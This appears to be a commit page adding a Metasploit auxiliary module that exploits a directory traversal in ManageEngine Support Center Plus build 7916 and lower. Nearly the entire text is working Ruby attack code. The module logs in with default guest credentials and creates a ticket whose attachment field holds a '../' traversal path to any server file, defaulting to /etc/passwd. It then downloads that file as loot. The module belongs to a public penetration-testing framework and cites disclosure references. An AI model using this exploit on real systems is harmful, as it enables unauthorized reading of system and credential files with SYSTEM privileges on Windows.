Land #2925, @xistence aux module for Support Center Plus traversal
jvazquez-r7
commit
452042e757
|
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Support Center Plus Directory Traversal",
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in ManageEngine
|
||||
Support Center Plus build 7916 and lower. The module will create a support ticket
|
||||
as a normal user, attaching a link to a file on the server. By requesting our
|
||||
own attachment, it's possible to retrieve any file on the filesystem with the same
|
||||
privileges as Support Center Plus is running. On Windows this is always with SYSTEM
|
||||
privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '31262'],
|
||||
['OSVDB', '102656'],
|
||||
['BID', '65199'],
|
||||
['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html']
|
||||
],
|
||||
'DisclosureDate' => "Jan 28 2014"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
|
||||
OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']),
|
||||
OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
|
||||
OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
|
||||
OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = target_uri.path
|
||||
peer = "#{ip}:#{rport}"
|
||||
|
||||
vprint_status("#{peer} - Retrieving cookie")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "")
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
session = res.get_cookies
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "j_security_check"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['USER'],
|
||||
'j_password' => datastore['PASS'],
|
||||
'logonDomainName' => 'undefined',
|
||||
'sso_status' => 'false',
|
||||
'loginButton' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302
|
||||
vprint_status("#{peer} - Login succesful")
|
||||
else
|
||||
vprint_error("#{peer} - Login was not succesful!")
|
||||
return
|
||||
end
|
||||
|
||||
randomname = Rex::Text.rand_text_alphanumeric(10)
|
||||
vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "WorkOrder.do"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'reqTemplate' => '',
|
||||
'prodId' => '0',
|
||||
'priority' => '2',
|
||||
'reqID' => '2',
|
||||
'usertypename' => 'Requester',
|
||||
'reqName' => 'Guest',
|
||||
'category' => '0',
|
||||
'item' => '0',
|
||||
'subCategory' => '0',
|
||||
'title' => randomname,
|
||||
'description' => randomname,
|
||||
'MOD_IND' => 'WorkOrder',
|
||||
'FORMNAME' => 'WorkOrderForm',
|
||||
'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
|
||||
'attPath' => '',
|
||||
'component' => 'Request',
|
||||
'attSize' => Rex::Text.rand_text_numeric(8),
|
||||
'attachments' => randomname,
|
||||
'autoCCList' => '',
|
||||
'addWO' => 'addWO'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
vprint_status("#{peer} - Ticket created")
|
||||
if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
|
||||
fileid = $1
|
||||
vprint_status("#{peer} - File ID is [ #{fileid} ]")
|
||||
fileauthkey = $2
|
||||
vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]")
|
||||
else
|
||||
vprint_error("#{peer} - File ID and AuthKey not found!")
|
||||
end
|
||||
else
|
||||
vprint_error("#{peer} - Ticket not created due to error!")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
|
||||
'vars_get' =>
|
||||
{
|
||||
'module' => 'Request',
|
||||
'ID' => fileid,
|
||||
'authKey' => fileauthkey
|
||||
}
|
||||
})
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either. Print the status code for debugging purposes.
|
||||
if res and res.code == 200
|
||||
data = res.body
|
||||
p = store_loot(
|
||||
'manageengine.supportcenterplus',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
datastore['FILE']
|
||||
)
|
||||
print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]")
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Loading…
Reference in New Issue